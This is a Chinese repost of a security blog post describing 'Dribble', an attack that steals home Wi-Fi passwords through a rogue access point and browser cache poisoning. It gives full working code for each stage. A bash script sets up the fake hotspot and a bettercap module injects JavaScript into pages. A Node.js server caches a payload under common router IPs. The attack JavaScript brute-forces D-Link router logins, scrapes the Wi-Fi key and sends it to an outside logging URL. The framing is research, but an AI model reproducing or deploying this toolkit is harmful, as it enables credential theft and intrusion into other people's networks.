您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關如何利用JavaScript緩存遠程竊取Wi-Fi密碼,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
我一直想在這個小項目上花一些時間做一些研究,但是由于生活所迫讓我總是一直繁忙。現在我終于可以抽出一些時間了繼續研究這種攻擊技術了,我將在本文中闡述我的研究成果。
很久以前,我學習了Vivek Ramachandran講解的“無線局域網安全Megaprimer課程”(課程非常好,強烈推薦),順便說一下,在我做旅行的時候,我住的那些不同的酒店都會提供Wi-Fi。毋庸置疑,我的大腦開始變得瘋狂,因此我一直在思考獲取Wi-Fi密碼的“非常規”的方法。
Can't turn my brain off, you know.?It's me.
We go into some place,?and all I can do is see the angles.?– Danny Ocean (Ocean's Twelve)
我即將描述的想法非常簡單,可能也不是什么新的思路了。盡管如此,對我來說這是一種有趣的方式,讓我將放在架子上一直吃灰的Raspberry Pi重新用了起來。
思路描述
我們的想法是利用網絡瀏覽器的緩存來竊取Wi-Fi密碼。因為我需要為項目起一個名字,所以我在開發完這個項目后將其命名為“Dribble”:-)。Dribble 會創建一個虛假的Wi-Fi接入點,并等待客戶端連接它。當客戶端連接時,dribble會攔截對JavaScript頁面執行的每個HTTP請求,并在響應中注入惡意JavaScript代碼。新響應的HTTP頭也會被更改,以便惡意的JavaScript代碼被緩存并強制在瀏覽器中保留。當客戶端與虛假接入點斷開連接并重新連接到家庭路由器時,惡意JavaScript代碼將激活,從路由器竊取Wi-Fi密碼并將密碼發送給攻擊者。 很簡單,對吧?
為了達到這個攻擊目的,我必須弄清楚這三件事:
如何創建虛假接入點
1.如何強迫人們連接到這個偽造的熱點
2.惡意的JavaScript代碼應如何從路由器竊取密碼
3.如何創建虛假的無線接入點
這非常簡單,偽造的方法也包含在無線局域網安全Megaprimer課程中,并且有許多不同的github存儲庫和gist上的代碼可以用來創建一個虛假的訪問點。因此,我不會過多地描述細節,但為了完整起見,讓我們討論一下我使用的方法。我之前使用 hostapd 創建過Wi-Fi接入點,dnsmasq 作為DHCP服務器和DNS中繼服務器,并使用 iptables 創建NAT網絡。下面的bash腳本將創建一個非常簡單的不受任何密碼保護的Wi-Fi訪問點。我在代碼中添加了一些注釋,希望能提高可讀性。
#!/bin/bash # the internet interface internet=eth0 # the wifi interface phy=wlan0 # The ESSID essid="TEST" # bring interfaces up ip link set dev $internet up ip link set dev $phy up ################## # DNSMASQ ################## echo " interface=$phy bind-interfaces # Set default gateway dhcp-option=3,10.0.0.1 # Set DNS servers to announce dhcp-option=6,10.0.0.1 dhcp-range=10.0.0.2,10.0.0.10,12h no-hosts no-resolv log-queries log-facility=/var/log/dnsmasq.log # Upstream DNS server server=8.8.8.8 server=8.8.4.4 " > tmp-dnsmasq.conf # start dnsmasq which provides DNS relaying service dnsmasq --conf-file=tmp-dnsmasq.conf ################## # IPTABLES ################## # Enable Internet connection sharing # configuring ip forwarding echo '1' > /proc/sys/net/ipv4/ip_forward # configuring NAT iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A FORWARD -i $phy -o $internet -j ACCEPT iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE ################## # HOSTAPD ################## echo "ctrl_interface=/var/run/hostapd interface=$phy # ESSID ssid=$essid driver=nl80211 auth_algs=3 channel=11 hw_mode=g # all mac addresses allowed macaddr_acl=0 wmm_enabled=0" > tmp-hotspot.conf # Start hostapd in screen hostapd echo "Start hostapd in screen hostapd" screen -dmS hostapd hostapd tmp-hotspot.conf
如何強迫人們連接到偽造的熱點
免責聲明:由于各種原因,我故意將本節的內容留在高級別的描述中而沒有提供任何代碼。但是,如果我的方法能得到足夠多的關注并且確實有人對此感興趣,我可能會進行更深入的討論,或許會提供一些代碼和實踐指南。??
根據你的目標,可能有不同的方法嘗試讓某人連接到虛擬接入點。我們來討論兩種情況:
在這種情況下,目標連接到受密碼保護的Wi-Fi,可能是攻擊者試圖訪問的受密碼保護的Wi-Fi。在這種情況下,有幾件事情要進行嘗試,但首先讓我討論有關Wi-Fi是如何工作的內容。深受大家喜愛的802.11標準有許多有趣的功能,其中有一個我發現…非常有趣。802.11定義了一個特殊的數據包,無論是加密,密碼,基礎設施或任何內容,如果把這個數據包發送到客戶端則只會斷開該客戶端與接入點的連接。如果你發送一次,客戶端將斷開連接并立即重新連接,用戶甚至不會注意到發生了什么。但是,如果你繼續發送這種數據包,客戶端最終會放棄重新連接,也就是說,你實際上可以阻塞Wi-Fi連接,用戶可能會注意到他沒有連接到接入點。通過濫用此特性,你可以簡單地強制客戶端斷開與其連接的合法訪問點的網絡連接。基于這一點,可以做兩件事:
1.攻擊者可以使用與目標連接的訪問點相同的ESSID創建虛假訪問點,但沒有密碼。在這種情況下,攻擊者應該希望一旦用戶意識到他沒有連接到接入點,他就會嘗試再次手動連接。因此,目標將找到具有相同ESSID的兩個網絡,需要密碼的那個會有“鎖”的圖標,而另一個不需要密碼的則沒有這個圖標。用戶可能首先嘗試連接到帶有“鎖”圖標的那個,但這不會起作用,因為攻擊者已經干擾用戶連接到這個熱點了,并且可能他也可能嘗試沒有“鎖”圖標的那個…畢竟它具有相同的名稱他非常想要連上網絡……對嗎?
2.另一個有趣的行為也可以用來強迫用戶連接虛假的熱點,無論何時,如果客戶端沒有連接到接入點,那么客戶端都會不斷的發送尋找先前已知的ESSID的信標數據包。如果目標已連接到未受密碼保護的接入點,并且可能是用戶自己的行為,則攻擊者可以簡單地創建一個虛假接入點,與目標訪問的未受保護接入點的ESSID相同即可。因此,客戶端將會愉快地連接到虛假接入點。
在這種情況下,目標沒有連接到任何Wi-Fi接入點,可能是因為目標是智能手機而且目標用戶正在街上行走。但是,有可能Wi-Fi網卡仍處于打開狀態且設備仍在尋找已知的Wi-Fi ESSID。再次,如前所述,目標可能已連接到某個未受密碼保護的Wi-Fi接入點。因此,攻擊者可以使用目標已連接過的接入點的ESSID來創建虛假接入點,就像之前那樣,Wi-Fi客戶端將愉快地連接到虛假接入點。
創建并注入惡意載荷
現在我要說的是一個“略新”的思路(至少對我而言):弄清楚惡意JavaScript代碼應該如何訪問路由器并竊取Wi-Fi密碼。請記住,受害者將連接到虛擬接入點,這顯然給了攻擊者一些機會,但仍有一些事情需要考慮清楚。
作為攻擊測試的目標路由器,我使用了家用Wi-Fi路由器,特別是我的ISP免費提供的D-Link DVA-5592。不幸的是,目前我還沒有其他可以測試的設備,所以我必須用它做好準備。
我們現在討論的是惡意JavaScript代碼。我們的目標是讓這些惡意代碼對路由器執行請求,這意味著它必須對本地IP地址執行請求。說到這里,你應該已經想到了諸如Same-Origin-Policy和X-Frame-Option之類的關鍵字。
同源-策略
讓我借用MDN網絡文檔中的定義:
同源策略是一種關鍵的安全機制,它限制了從一個源加載的文檔或腳本與來自另一個源的資源交互。它有助于隔離潛在的惡意文檔,減少可能的攻擊媒介。https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
換句話說:如果域A包含JavaScript代碼,則該JavaScript代碼只能訪問域A中的信息或域A的子域。它無法訪問域B中的信息。
X-Frame-Option
讓我再次從MDN Web文檔中借用這個字段的定義:
X-Frame-Option 是一個HTTP響應頭可用于指示瀏覽器是否應該允許在<frame>,<iframe>或<object>中渲染頁面。站點可以通過這種機制確保其內容未嵌入到其他站點,并且可以使用此功能來避免點擊劫持攻擊。
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
這非常簡單:X-Frame-Options 可用于防止頁面在iframe標簽中加載。
那么讓我們看看我們請求D-Link登錄頁面后得到的響應:
HTTP/1.1 200 OK Date: Wed, 24 Oct 2018 16:20:21 UTC Server: HTTP Server X-Frame-Options: DENY Connection: Keep-Alive Keep-Alive: timeout=15, max=15 Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC Cache-Control: must-revalidate, private Expires: -1 Content-Language: en Content-Type: text/html Content-Length: 182 <html><head> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="refresh" content="0;url=/ui/status"> </head></html>
響應包含X-Frame-Options并設置為了DENY(感謝上帝),這意味著如果我不能通過在iframe標簽中渲染路由器主頁。此外,由于惡意JavaScript代碼將被注入到與路由器不同的域中,因此Same-Origin-Policy將阻止與路由器本身的任何交互。對于這些問題,我提出我所想到的一個簡單的解決方案,不過注意我的方法可能不是唯一的解決方案,思路如下:
注入兩段不同的JavaScript代碼。第一段JavaScript代碼將iframe在受感染的頁面中添加內容。將iframe的src參數指向路由器的IP地址。如前所述,路由器的IP地址X-Frame-Options設置為DENY。因此iframe將無法加載路由器的頁面。但是,當創建iframe的JavaScript代碼執行時,受害者仍然連接的是虛假訪問點(還記得我前面提到的優勢點嗎?)。這意味著對路由器IP地址的請求將由虛假接入點處理……多么方便。因此,虛假接入點可以攔截對路由器IP地址執行的任何請求,并通過以下網頁進行響應:
1.包含第二段JavaScript代碼,這段代碼將真正執行對真實路由器的請求
2.響應中沒有X-Frame-Options HTTP 頭
3.響應中包括用于緩存頁面的HTTP頭。
由于虛假接入點被當成了合法的路由器,因此瀏覽器將緩存一個頁面,該域名是路由器的IP地址,從而繞過了Same-Origin-Policy和X-Frame-Options。最后,一旦受感染的客戶端回到家連接到家庭路由器時:
1.第一個JavaScript代碼將添加一個iframe指向路由器的IP地址,
2.在iframe中會加載已緩存的包含了第二段惡意的JavaScript路由器主頁
3.第二段惡意JavaScript會被執行并攻擊路由器。
第一段惡意JavaScript非常簡單,它只需附加一個iframe。第二段惡意JavaScript有點棘手,因為它必須執行多個HTTP請求來強制登錄,然后訪問包含Wi-Fi密碼的頁面并將密碼發送給攻擊者。在我測試D-Link時,登錄請求如下所示:
POST /ui/login HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/ui/login Content-Type: application/x-www-form-urlencoded Content-Length: 141 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh
這里的重要參數是:
1.userName這是admin(令人震驚);
2.userPwd 看起來是加密的;
3.nonce 這肯定與加密密碼有關。
查看登錄頁面的源代碼,我立即注意到了這一點:
document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value, document.form.nonce.value);
這意味著登錄需要CryptoJS庫并從document.form.nonce.value中獲取nonce 。有了這些信息,我可以輕松地創建一段小的JavaScript代碼,這段代碼會用一批用戶名和密碼嘗試爆破用戶名和密碼然后登錄后臺。
進入路由器后,我需要尋找包含Wi-Fi密碼的頁面。D-Link DVA-5592中的當前固件會在用戶登錄到儀表板頁面后立即以明文顯示Wi-Fi密碼(哦,我的天吶)。
此時我需要做的就是訪問頁面的HTML源碼,獲取Wi-Fi密碼并將其發送到某個地方進行保存。現在讓我們深入研究為D-Link量身定制的JavaScript惡意代碼。
// this is CryptoJS, a bit annoying to have it here var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a= this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>>2]|=(d[b>>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>>2]=d[b>>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a= l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}}),o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b= a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create(); this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()}, reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a},blockSize:16,_createHelper:function(a){return function(b,d){return a.create(d).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return g.HMAC.create(a,d).finalize(b)}}});var g=e.algo={};return e}(Math); (function(h){var i=CryptoJS,e=i.lib,f=e.WordArray,e=e.Hasher,l=i.algo,k=[],o=[];(function(){function e(a){for(var b=h.sqrt(a),d=2;d<=b;d++)if(!(a%d))return!1;return!0}function f(a){return 4294967296*(a-(a|0))|0}for(var b=2,g=0;64>g;)e(b)&&(8>g&&(k[g]=f(h.pow(b,0.5))),o[g]=f(h.pow(b,1/3)),g++),b++})();var m=[],l=l.SHA256=e.extend({_doReset:function(){this._hash=f.create(k.slice(0))},_doProcessBlock:function(e,f){for(var b=this._hash.words,g=b[0],a=b[1],j=b[2],d=b[3],c=b[4],h=b[5],l=b[6],k=b[7],n=0;64> n;n++){if(16>n)m[n]=e[f+n]|0;else{var i=m[n-15],p=m[n-2];m[n]=((i<<25|i>>>7)^(i<<14|i>>>18)^i>>>3)+m[n-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+m[n-16]}i=k+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&h^~c&l)+o[n]+m[n];p=((g<<30|g>>>2)^(g<<19|g>>>13)^(g<<10|g>>>22))+(g&a^g&j^a&j);k=l;l=h;h=c;c=d+i|0;d=j;j=a;a=g;g=i+p|0}b[0]=b[0]+g|0;b[1]=b[1]+a|0;b[2]=b[2]+j|0;b[3]=b[3]+d|0;b[4]=b[4]+c|0;b[5]=b[5]+h|0;b[6]=b[6]+l|0;b[7]=b[7]+k|0},_doFinalize:function(){var e=this._data,f=e.words,b=8*this._nDataBytes, g=8*e.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+64>>>9<<4)+15]=b;e.sigBytes=4*f.length;this._process()}});i.SHA256=e._createHelper(l);i.HmacSHA256=e._createHmacHelper(l)})(Math); (function(){var h=CryptoJS,i=h.enc.Utf8;h.algo.HMAC=h.lib.Base.extend({init:function(e,f){e=this._hasher=e.create();"string"==typeof f&&(f=i.parse(f));var h=e.blockSize,k=4*h;f.sigBytes>k&&(f=e.finalize(f));for(var o=this._oKey=f.clone(),m=this._iKey=f.clone(),q=o.words,r=m.words,b=0;b<h;b++)q[b]^=1549556828,r[b]^=909522486;o.sigBytes=m.sigBytes=k;this.reset()},reset:function(){var e=this._hasher;e.reset();e.update(this._iKey)},update:function(e){this._hasher.update(e);return this},finalize:function(e){var f= this._hasher,e=f.finalize(e);f.reset();return f.finalize(this._oKey.clone().concat(e))}})})(); // check if this is a D-Link // This is a safe check that I put so that the payload won't try to attack something // that is not a D-Link, the check could definetly be improbed but given that I // only have this D-Link we will have to make it due ... for now var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://192.168.1.1/ui/login', true); xhr.setRequestHeader("hydra","true"); xhr.onload = function () { if(this.response.includes("D-LINK")){ console.log("d-link"); dlinkStart(); } }; xhr.responseType = 'text' xhr.send(null); // The main function that starts the attack function dlinkStart(){ // List of possible usernames var usernames = ["administrator","Administrator","admin","Admin"]; // List of possible passwords var passwords = ["password","admin","1234","","pwd"]; // the array containing usernames and passwords comination var combos = []; var i = 0; // combines all possibile usernames and passwords and put it into combos for(var i = 0; i < usernames.length; i++) { for(var j = 0; j < passwords.length; j++) { combos.push({"user":usernames[i],"pwd":passwords[j]}) } } function dlinkAttacker(user, passwd) { // first request to get the nonce var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://192.168.1.1/ui/login', true); xhr.onload = function () { if (this.readyState == XMLHttpRequest.DONE && this.status == 200) { // the current username to test var username = user // the current password to test var pwd = passwd // the nonce extracted from the web page var nonce = xhr.response.form.nonce.value // the password encrypted with nonce var encPwd = CryptoJS.HmacSHA256(pwd, nonce) // let's try to log in var xhr2 = new XMLHttpRequest(); xhr2.open('POST', 'http://192.168.1.1/ui/login', true); //Send the proper header information along with the request xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr2.onload = function () { if (this.readyState == XMLHttpRequest.DONE && this.status == 200) { try { // the comination usernamepassword was corrent, let's get the Wi-Fi password var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML // WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :-) var xhr3 = new XMLHttpRequest(); xhr3.open('GET','https://rhaidiz.net/projects/dribble/dribble_logger.php?pwd'+wlanPsk); xhr3.send( null ); } catch (e) { // Wrong password, let's try a different combination i++ dlinkAttacker(combos[i].user, combos[i].pwd) } } } // the body of the login request var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' + encPwd + '&nonce=' + nonce xhr2.responseType = 'document' xhr2.send(params); } }; xhr.responseType = 'document' xhr.send(null); } // Start the attack from the first combination of usernamepassword dlinkAttacker(combos[i].user, combos[i].pwd) }
嵌入這段代碼的頁面應該緩存在客戶端的瀏覽器中,并根據路由器的IP地址發送。現在讓我們暫時把這些代碼放一邊,讓我們討論一下緩存這段代碼的網絡配置。
正如我剛才所說,上面的JavaScript代碼將緩存為來自路由器的IP地址,并將加載到由另一段JavaScript創建的iframe中,第一段JavaScript代碼是我在客戶端每次請求JavaScript的時候在每個頁面中注入的。要完成攔截和注入,我使用了bettercap。Bettercap允許創建HTTP代理模塊,可用于對HTTP代理進行編程并告訴它如何操作。例如,可以在將響應傳遞給客戶端之前攔截響應,并決定注入什么,何時注入以及如何注入。因此,我在JavaScript中創建了一個簡單的代碼,它在bettercap中加載并執行注入。
// list of common router's IP .. which definitely requires improvement var routers = ["192.168.1.1", "192.168.0.1"] // this function is called when the response is // received and can be sent back to the client function onResponse(req, res) { // inject only responses containing JavaScript if(res.ContentType.indexOf('application/javascript') == 0 ){ console.log("caching"); console.log(req.Hostname) var body = res.ReadBody(); // set caching header res.SetHeader("Cache-Control","max-age=86400"); res.SetHeader("Content-Type","text/html"); res.SetHeader("Cache-Control","public, max-age=99936000"); res.SetHeader("Expires","Wed, 2 Nov 2050 10:00:00 GMT"); res.SetHeader("Last-Modified","Wed, 2 Nov 1988 10:00:00 GMT"); res.SetHeader("Access-Control-Allow-Origin:","*"); // set payload var payload = "document.addEventListener("DOMContentLoaded", function(event){n"; for(var i=0; i < routers.length; i++){ payload = payload + "var ifrm = document.createElement('iframe');nifrm.setAttribute('src', 'http://"+routers[i]+"');ifrm.style.width = '640px';ifrm.style.height = '480px';ndocument.body.appendChild(ifrm);n"; } payload = payload + "});"; res.Body = body + payload; } }
有一點值得注意的是,上面的代碼中,JavaScript有效載荷會嘗試為routers數組中的每個IP 加載一個iframe。這是因為家庭路由器的IP可能配置有所不同。這意味著Raspberry必須響應不同子網上的不同IP。為此,我只需向Raspberry的無線接口添加更多IP就行了。這樣,無論加載iframe的代碼何時執行,都會對公共路由器的IP地址執行請求,并且Raspberry的無線接口可以偽裝成路由器,響應這些請求并緩存我想要的任何內容。
最后,我需要在Raspberry上搭建一個Web服務器,它可以監聽無線接口并緩存攻擊路由器的JavaScript代碼。我先用Nginx做了一些測試,以確保這個想法有效,但最后我選擇了Node.JS,主要是因為我還沒有使用過Node.JS的HTTP服務器。
var http = require("http"); var routers = ["192.168.0.1/","192.168.1.1/","192.168.1.90/"] var fs = require('fs'); // load the index web page var index = fs.readFileSync("./www/index.html"); // load the JavaScript file, which might be more than one // when support for other router is implemented var jsob = fs.readdirSync('./www/js'); var repobj = {} for (var i in jsob){ // placing a / at the beginning is a bit of a lazy move repobj["/"+jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]); } var server = http.createServer(function(request, response) { var url = request.headers.host + request.url; console.log('Request: ' + url); console.log("REQUEST URL" + request.url); console.log(request.headers); var headers = { "Content-Type": "text/html", "Server": "dribble", "Cache-Control": "public, max-age=99936000", "Expires": "Wed, 2 Nov 2050 10:00:00 GMT", "Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT", "Access-Control-Allow-Origin": "*" }; // Cache the index page if (routers.includes(url)) { console.log("cache until the end of time"); response.writeHead(200, headers); response.write(index); response.end(); return; } // cache the JavaScript payload else if (repobj[request.url]){ console.log("cache JS until the end of time"); headers["Content-Type"] = "application/javascript"; response.writeHead(200, headers); response.write(repobj[request.url]); response.end(); return; } }); // listen on port 80 server.listen(80);
讓我們測試一下效果……!
我自己已經做了一些攻擊測試,但我想在更真實的環境中進行測試。但是,我不能在沒有別人同意的情況下對任何人進行攻擊嘗試,所以首先我需要一個愿意參與這個小實驗的受害者……所以我問我的女朋友。談話是這樣的:
太好了,既然我已經有了一個心甘情愿地決定參加這個小實驗的受害者,那么是時候開始攻擊并引誘她的iPhone 6連接到我的虛假接入點了。因此,我創建了一個和她之前訪問過的某個WiFi一樣的ESSID的虛假接入點,我知道她之前已經訪問過(是的,受害者的情報也很有用,哈哈)的熱點,很快她的iPhone連接到了我的虛擬接入點。
我讓她在仍然連接到虛擬接入點的同時瀏覽網頁并耐心地等待她進入一個只支持HTTP的網站。
He waded out into the shallows,
and he waited there three days
and three nights,
till all manner of sea creatures
came acclimated to his presence.
And on the fourth morning, …
Mr. Gibbs (Pirates of the Caribbean: The Curse of the Black Pearl)
最后,bettercap閃爍顯示并打印出已經注入的東西,這意味著我不需要讓她連接到我的接入點了。
因此,我關閉了我的接入點,導致她的手機漫游到我們的家庭Wi-Fi熱點,并且由于她仍在瀏覽該網站,注入的惡意JavaScript代碼已經執行完了,并將我家的Wi-Fi密碼直接發送到了我的PHP頁面。
關于“如何利用JavaScript緩存遠程竊取Wi-Fi密碼”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。